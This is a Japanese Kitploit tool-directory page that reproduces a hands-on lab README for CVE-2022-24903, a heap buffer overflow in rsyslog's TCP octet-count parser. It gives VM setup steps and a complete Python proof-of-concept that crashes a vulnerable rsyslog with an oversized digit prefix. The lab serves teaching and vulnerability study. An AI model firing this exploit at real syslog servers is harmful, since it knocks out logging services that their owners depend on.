Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 Heap-based buffer overflow | Kitploit
ツール/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
脆弱性分析エクスプロイト学習と教育バイナリエクスプロイトラボと実践
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 Heap-based buffer overflow

リポジトリを見る
82ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-24903 ハンズオンラボ

著者: Andrew Beshay Mousa

rsyslogのヒープバッファオーバーフロー脆弱性を実演する、実践的なハンズオンラボです。

rsyslog CVE Type Protocol

TCP syslog受信におけるオクテットカウントフレーミングを介して、rsyslogヒープバッファオーバーフロー脆弱性 (CVE-2022-24903) を再現・理解するための実践的なラボ環境です。


目次

  • 概要
  • ラボの構成
  • 前提条件
  • 脆弱性の詳細
  • ラボのセットアップ
    • ターゲットマシン (Ubuntu)
    • 攻撃者マシン (Kali)
  • エクスプロイト
  • 検証
  • トラブルシューティング
  • 緩和策
  • 参考情報

概要

CVE-2022-24903 は、オクテットカウントフレーミング (RFC 5425) 使用時に rsyslog のTCP syslog受信モジュール (imtcp) に存在するヒープバッファオーバーフロー脆弱性です。

攻撃者は、過度に長いオクテットカウントプレフィックスを含む細工されたTCP syslogメッセージを送信することで、rsyslogにヒープ割り当てバッファの境界を超えた書き込みを引き起こし、サービス拒否 (DoS) または潜在的なメモリ破損をもたらす可能性があります。

属性値
CVE IDCVE-2022-24903
影響を受けるバージョンrsyslog < 8.2204.1
攻撃ベクトルネットワーク
ポート514/TCP
モジュールimtcp (TCP入力)
影響DoS / ヒープ破壊
RCEの可能性?なし (ベンダー評価)

ラボの構成

+----------------------------------------------------------+
|                  Network: Host-Only                       |
|                Subnet: 192.168.56.0/24                   |
+--------------------------+-------------------------------+
|                          |                               |
|   +---------------+      |      +--------------------+   |
|   |  [Attacker]   |      |      |     [Target]       |   |
|   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
|   |               | TCP  |      |  rsyslog 8.2001.0  |   |
|   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
|   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
|   |  CPU: 1       |      |      |  CPU: 1            |   |
|   +---------------+      |      +--------------------+   |
|                          |                               |
+----------------------------------------------------------+

必要なVM

VMOS役割IPRAMCPU
ターゲットUbuntu 22.04脆弱なrsyslogサーバー192.168.56.201 GB1
攻撃者Kali Linuxエクスプロイト送信側192.168.56.102 GB1

注: ターゲットには任意のUbuntuバージョン (20.04、22.04、24.04) を使用できます。重要なのは、脆弱なrsyslog 8.2001.0 .deb パッケージを手動でインストールすることです。


前提条件

  • VirtualBox または VMware Workstation
  • Ubuntu 22.04 ISO (~2 GB)
  • Kali Linux VM (~4 GB)
  • ハイパーバイザーで構成されたホストオンリーネットワーク
  • LinuxコマンドとPythonの基礎知識

脆弱性の詳細

オクテットカウントフレーミングとは?

TCP syslog (RFC 5425) では、メッセージの先頭にバイト単位の長さが付加されます:

123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
 octet count (3 digits = 123 bytes follow)

バグの内容

脆弱なrsyslogバージョンでは、オクテットカウントパーサーは次のように動作します:

  1. 数字を固定サイズのヒープバッファに蓄積する
  2. 数字の書き込み時にバッファ境界をチェックしない
  3. オクテット数が許容最大値を超えた後も数字の書き込みを継続する
// Simplified vulnerable logic:
char buffer[20];          // Small heap buffer
int i = 0;
while (isdigit(ch)) {     // Read digits
    buffer[i++] = ch;     // Write to buffer
    // MISSING: if (i >= 20) break;
    ch = next_char();
}

結果: 9999... (5000桁以上) を送信するとヒープバッファがオーバーフローし、隣接するメモリが破損します。

RCEが困難な理由

  • オーバーフローは数字のみ (0-9) に制限される
  • パーサーは最初の数字以外の文字で停止する
  • シェルコードを直接注入できない
  • DoSは確実に発生する; ベンダーはRCEの可能性は低いと評価している

ラボのセットアップ

ステップ1: ホストオンリーネットワークを構成する

ハイパーバイザーでホストオンリーネットワークを作成します:

  • サブネット: 192.168.56.0/24
  • DHCP: 無効 (静的IP)

両方のVMをこのネットワークに接続します。


ステップ2: ターゲットマシン (Ubuntu)

2.1 静的IPを設定する

sudo nano /etc/netplan/00-installer-config.yaml

以下を貼り付け:

network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.56.20/24

適用:

sudo netplan apply

確認:

ip addr show | grep 192.168.56.20

2.2 最新のrsyslogを停止して削除する

sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y

2.3 脆弱なrsyslogをダウンロードしてインストールする

cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog

dpkgロックエラーが発生した場合:

sudo kill -9 <PID>
sudo rm -f /var/lib/dpkg/lock-frontend
sudo dpkg --configure -a

バージョンの確認:

rsyslogd -v | head -2

期待される出力:

rsyslogd  8.2001.0

2.4 AppArmorを無効にする (ラボのみ)

AppArmorが原因で、古いパッケージのrsyslogが正しく機能しない可能性があります:

sudo systemctl stop apparmor
sudo systemctl disable apparmor

2.5 TCP 514用にrsyslogを構成する

sudo nano /etc/rsyslog.conf

ファイルをクリアして以下を貼り付け:

module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log

2.6 ファイアウォールのポートを開放する

sudo ufw allow 514/tcp
sudo ufw --force enable

2.7 rsyslogを起動する

sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager

待ち受け状態の確認:

sudo ss -tlnp | grep 514

期待される出力:

LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))

ステップ3: 攻撃者マシン (Kali)

3.1 静的IPを設定する

sudo nano /etc/network/interfaces

以下を貼り付け:

auto eth0
iface eth0 inet static
    address 192.168.56.10
    netmask 255.255.255.0

またはNetplanを使用する場合:

sudo nano /etc/netplan/01-netcfg.yaml
network:
  version: 2
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.56.10/24
sudo netplan apply

3.2 エクスプロイトスクリプトを作成する

cd ~/Desktop
nano exploit.py

以下を貼り付け:

#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""

import socket
import sys

TARGET = "192.168.56.20"  # Change to your Target IP
PORT = 514

def exploit():
    """
    Send a crafted TCP syslog message with an excessively long octet-count prefix.
    The octet-count parser writes digits to a heap buffer without bounds checking,
    causing a heap buffer overflow.
    """
    # Create a massive octet count string (5000+ digits)
    # This overflows the heap buffer allocated for parsing the count
    overflow_digits = b"9" * 5000

    # The rest of the message (parser will crash before processing this)
    syslog_msg = b" <1>test crash message\n"

    payload = overflow_digits + syslog_msg

    print(f"[*] Target: {TARGET}:{PORT}")
    print(f"[*] Payload size: {len(payload)} bytes")
    print(f"[*] Octet count digits: {len(overflow_digits)}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((TARGET, PORT))

        print(f"[*] Connected. Sending payload...")
        sock.sendall(payload)

        # Try to receive (likely won't get anything back after crash)
        try:
            response = sock.recv(1024)
            print(f"[+] Received: {response}")
        except socket.timeout:
            print("[!] No response - target may have crashed!")

        sock.close()
        print("[*] Exploit completed.")

    except ConnectionRefusedError:
        print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
        sys.exit(1)
    except BrokenPipeError:
        print("[!] Connection broken - target likely crashed mid-transmission!")

if __name__ == "__main__":
    print("=" * 50)
    print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
    print("=" * 50)
    exploit()
ツールをダウンロード